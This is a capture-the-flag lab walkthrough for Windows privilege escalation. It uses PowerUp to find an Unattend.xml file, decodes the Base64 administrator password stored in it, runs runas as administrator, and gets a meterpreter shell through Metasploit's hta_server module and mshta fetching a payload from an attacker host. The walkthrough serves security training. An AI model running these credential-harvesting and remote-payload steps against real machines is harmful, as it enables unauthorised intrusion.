Unattended Installation
Unattended Installation
URL https://attackdefense.com/challengedetails?cid=2106
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
PowerSploit
“PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration
testers during all phases of an assessment. PowerSploit is comprised of the following modules
and scripts:”
PowerUp.ps1
“PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely
on misconfigurations.”
Source: https://github.com/PowerShellMafia/PowerSploit
Step 3: We will run the powerup.ps1 Powershell script to find privilege escalation vulnerability.
Commands: Powershell.exe
cd .\Desktop\PowerSploit\Privesc\
ls
Step 4: Import PowerUp.ps1 script and Invoke-PrivescAudit function.
Unattend.xml:
Unattend.xml is an answer file for installation. The files may contain encoded or plain-text
credentials and other sensitive information.
Commands:
$password='QWRtaW5AMTIz'
$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($pa
ssword))
echo $password
Step 7: We are running a command prompt as an administrator user using discover credentials.
Commands: runas.exe /user:administrator cmd
Admin@123
whoami
Step 8: Running the hta_server module to gain the meterpreter shell. Start msfconsole.
Commands:
msfconsole -q
use exploit/windows/misc/hta_server
exploit
“This module hosts an HTML Application (HTA) that when opened will run a payload via
Powershell..”
Copy the generated payload i.e “http://10.10.0.2:8080/6Nz7aySfPN.hta” and run it on cmd.exe
with mshta command to gain the meterpreter shell.
Commands:
Note: You need to use your own metasploit HTA server link
Commands:
sessions -i 1
cd /
cd C:\\Users\\Administrator\\Desktop
dir
cat flag.txt
Flag: 097ab83639dce0ab3429cb0349493f60
References